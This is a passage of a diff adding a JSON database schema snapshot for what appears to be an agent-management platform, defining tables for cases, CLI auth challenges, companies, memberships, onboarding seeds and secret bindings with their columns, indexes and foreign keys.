+        "case_type": {
+          "name": "case_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "summary": {
+          "name": "summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'draft'"
+        },
+        "fields": {
+          "name": "fields",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "parent_case_id": {
+          "name": "parent_case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "completed_at": {
+          "name": "completed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "cases_company_case_number_uq": {
+          "name": "cases_company_case_number_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_number",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cases_identifier_uq": {
+          "name": "cases_identifier_uq",
+          "columns": [
+            {
+              "expression": "identifier",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cases_company_type_key_uq": {
+          "name": "cases_company_type_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cases_company_status_idx": {
+          "name": "cases_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cases_company_type_idx": {
+          "name": "cases_company_type_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cases_company_project_idx": {
+          "name": "cases_company_project_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cases_parent_idx": {
+          "name": "cases_parent_idx",
+          "columns": [
+            {
+              "expression": "parent_case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cases_title_search_idx": {
+          "name": "cases_title_search_idx",
+          "columns": [
+            {
+              "expression": "title",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        },
+        "cases_identifier_search_idx": {
+          "name": "cases_identifier_search_idx",
+          "columns": [
+            {
+              "expression": "identifier",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        },
+        "cases_summary_search_idx": {
+          "name": "cases_summary_search_idx",
+          "columns": [
+            {
+              "expression": "summary",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "cases_company_id_companies_id_fk": {
+          "name": "cases_company_id_companies_id_fk",
+          "tableFrom": "cases",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "cases_project_id_projects_id_fk": {
+          "name": "cases_project_id_projects_id_fk",
+          "tableFrom": "cases",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "cases_parent_case_id_cases_id_fk": {
+          "name": "cases_parent_case_id_cases_id_fk",
+          "tableFrom": "cases",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "parent_case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "cases_created_by_agent_id_agents_id_fk": {
+          "name": "cases_created_by_agent_id_agents_id_fk",
+          "tableFrom": "cases",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "cases_status_check": {
+          "name": "cases_status_check",
+          "value": "\"cases\".\"status\" in ('draft', 'in_progress', 'in_review', 'approved', 'done', 'cancelled')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.cli_auth_challenges": {
+      "name": "cli_auth_challenges",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "secret_hash": {
+          "name": "secret_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "command": {
+          "name": "command",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "client_name": {
+          "name": "client_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "requested_access": {
+          "name": "requested_access",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'board'"
+        },
+        "requested_company_id": {
+          "name": "requested_company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "pending_key_hash": {
+          "name": "pending_key_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "pending_key_name": {
+          "name": "pending_key_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "approved_by_user_id": {
+          "name": "approved_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "board_api_key_id": {
+          "name": "board_api_key_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "approved_at": {
+          "name": "approved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cancelled_at": {
+          "name": "cancelled_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "cli_auth_challenges_secret_hash_idx": {
+          "name": "cli_auth_challenges_secret_hash_idx",
+          "columns": [
+            {
+              "expression": "secret_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cli_auth_challenges_approved_by_idx": {
+          "name": "cli_auth_challenges_approved_by_idx",
+          "columns": [
+            {
+              "expression": "approved_by_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cli_auth_challenges_requested_company_idx": {
+          "name": "cli_auth_challenges_requested_company_idx",
+          "columns": [
+            {
+              "expression": "requested_company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "cli_auth_challenges_requested_company_id_companies_id_fk": {
+          "name": "cli_auth_challenges_requested_company_id_companies_id_fk",
+          "tableFrom": "cli_auth_challenges",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "requested_company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "cli_auth_challenges_approved_by_user_id_user_id_fk": {
+          "name": "cli_auth_challenges_approved_by_user_id_user_id_fk",
+          "tableFrom": "cli_auth_challenges",
+          "tableTo": "user",
+          "columnsFrom": [
+            "approved_by_user_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "cli_auth_challenges_board_api_key_id_board_api_keys_id_fk": {
+          "name": "cli_auth_challenges_board_api_key_id_board_api_keys_id_fk",
+          "tableFrom": "cli_auth_challenges",
+          "tableTo": "board_api_keys",
+          "columnsFrom": [
+            "board_api_key_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.companies": {
+      "name": "companies",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "pause_reason": {
+          "name": "pause_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "paused_at": {
+          "name": "paused_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_prefix": {
+          "name": "issue_prefix",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'PAP'"
+        },
+        "issue_counter": {
+          "name": "issue_counter",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "budget_monthly_cents": {
+          "name": "budget_monthly_cents",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "spent_monthly_cents": {
+          "name": "spent_monthly_cents",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "attachment_max_bytes": {
+          "name": "attachment_max_bytes",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 10485760
+        },
+        "default_responsible_user_id": {
+          "name": "default_responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "require_board_approval_for_new_agents": {
+          "name": "require_board_approval_for_new_agents",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "interaction_resolver_governance": {
+          "name": "interaction_resolver_governance",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "feedback_data_sharing_enabled": {
+          "name": "feedback_data_sharing_enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "feedback_data_sharing_consent_at": {
+          "name": "feedback_data_sharing_consent_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "feedback_data_sharing_consent_by_user_id": {
+          "name": "feedback_data_sharing_consent_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "feedback_data_sharing_terms_version": {
+          "name": "feedback_data_sharing_terms_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "brand_color": {
+          "name": "brand_color",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "companies_issue_prefix_idx": {
+          "name": "companies_issue_prefix_idx",
+          "columns": [
+            {
+              "expression": "issue_prefix",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {},
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_logos": {
+      "name": "company_logos",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "asset_id": {
+          "name": "asset_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_logos_company_uq": {
+          "name": "company_logos_company_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_logos_asset_uq": {
+          "name": "company_logos_asset_uq",
+          "columns": [
+            {
+              "expression": "asset_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_logos_company_id_companies_id_fk": {
+          "name": "company_logos_company_id_companies_id_fk",
+          "tableFrom": "company_logos",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_logos_asset_id_assets_id_fk": {
+          "name": "company_logos_asset_id_assets_id_fk",
+          "tableFrom": "company_logos",
+          "tableTo": "assets",
+          "columnsFrom": [
+            "asset_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_memberships": {
+      "name": "company_memberships",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "principal_type": {
+          "name": "principal_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "principal_id": {
+          "name": "principal_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "membership_role": {
+          "name": "membership_role",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_memberships_company_principal_unique_idx": {
+          "name": "company_memberships_company_principal_unique_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "principal_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "principal_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_memberships_principal_status_idx": {
+          "name": "company_memberships_principal_status_idx",
+          "columns": [
+            {
+              "expression": "principal_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "principal_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_memberships_company_status_idx": {
+          "name": "company_memberships_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_memberships_company_id_companies_id_fk": {
+          "name": "company_memberships_company_id_companies_id_fk",
+          "tableFrom": "company_memberships",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_onboarding_seeds": {
+      "name": "company_onboarding_seeds",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "revision": {
+          "name": "revision",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "mission": {
+          "name": "mission",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_name": {
+          "name": "agent_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_role": {
+          "name": "agent_role",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "first_task_title": {
+          "name": "first_task_title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "first_task_details": {
+          "name": "first_task_details",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "goal_id": {
+          "name": "goal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "applied_at": {
+          "name": "applied_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_onboarding_seeds_company_uq": {
+          "name": "company_onboarding_seeds_company_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_onboarding_seeds_company_id_companies_id_fk": {
+          "name": "company_onboarding_seeds_company_id_companies_id_fk",
+          "tableFrom": "company_onboarding_seeds",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_onboarding_seeds_goal_id_goals_id_fk": {
+          "name": "company_onboarding_seeds_goal_id_goals_id_fk",
+          "tableFrom": "company_onboarding_seeds",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "goal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_onboarding_seeds_agent_id_agents_id_fk": {
+          "name": "company_onboarding_seeds_agent_id_agents_id_fk",
+          "tableFrom": "company_onboarding_seeds",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_onboarding_seeds_issue_id_issues_id_fk": {
+          "name": "company_onboarding_seeds_issue_id_issues_id_fk",
+          "tableFrom": "company_onboarding_seeds",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_secret_bindings": {
+      "name": "company_secret_bindings",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "secret_id": {
+          "name": "secret_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_type": {
+          "name": "target_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_id": {
+          "name": "target_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "config_path": {
+          "name": "config_path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "version_selector": {
+          "name": "version_selector",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'latest'"
+        },
+        "required": {
+          "name": "required",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "label": {
+          "name": "label",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "projection_class": {
+          "name": "projection_class",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unclassified'"
+        },
+        "projection_allowlist_key": {
+          "name": "projection_allowlist_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_secret_bindings_company_idx": {
+          "name": "company_secret_bindings_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_bindings_secret_idx": {
+          "name": "company_secret_bindings_secret_idx",
+          "columns": [
+            {
+              "expression": "secret_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_bindings_target_idx": {
+          "name": "company_secret_bindings_target_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_bindings_target_path_uq": {
+          "name": "company_secret_bindings_target_path_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "config_path",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_secret_bindings_company_id_companies_id_fk": {
+          "name": "company_secret_bindings_company_id_companies_id_fk",
+          "tableFrom": "company_secret_bindings",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "company_secret_bindings_secret_id_company_secrets_id_fk": {
+          "name": "company_secret_bindings_secret_id_company_secrets_id_fk",
+          "tableFrom": "company_secret_bindings",
+          "tableTo": "company_secrets",
+          "columnsFrom": [
+            "secret_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_secret_proposals": {
+      "name": "company_secret_proposals",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "proposed_name": {
+          "name": "proposed_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "proposed_key": {
+          "name": "proposed_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "proposed_description": {
+          "name": "proposed_description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "justification": {
+          "name": "justification",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "value_ciphertext": {
+          "name": "value_ciphertext",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "value_fingerprint_sha256": {
+          "name": "value_fingerprint_sha256",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "value_length": {
+          "name": "value_length",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "secret_id": {
+          "name": "secret_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "secret_proposal_id": {
+          "name": "secret_proposal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "target_type": {
+          "name": "target_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "target_id": {
+          "name": "target_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "config_path": {
+          "name": "config_path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "projection_class": {
+          "name": "projection_class",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unclassified'"
+        },
+        "binding_target_policy_snapshot": {
+          "name": "binding_target_policy_snapshot",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "proposer_ancestor_ids_snapshot": {
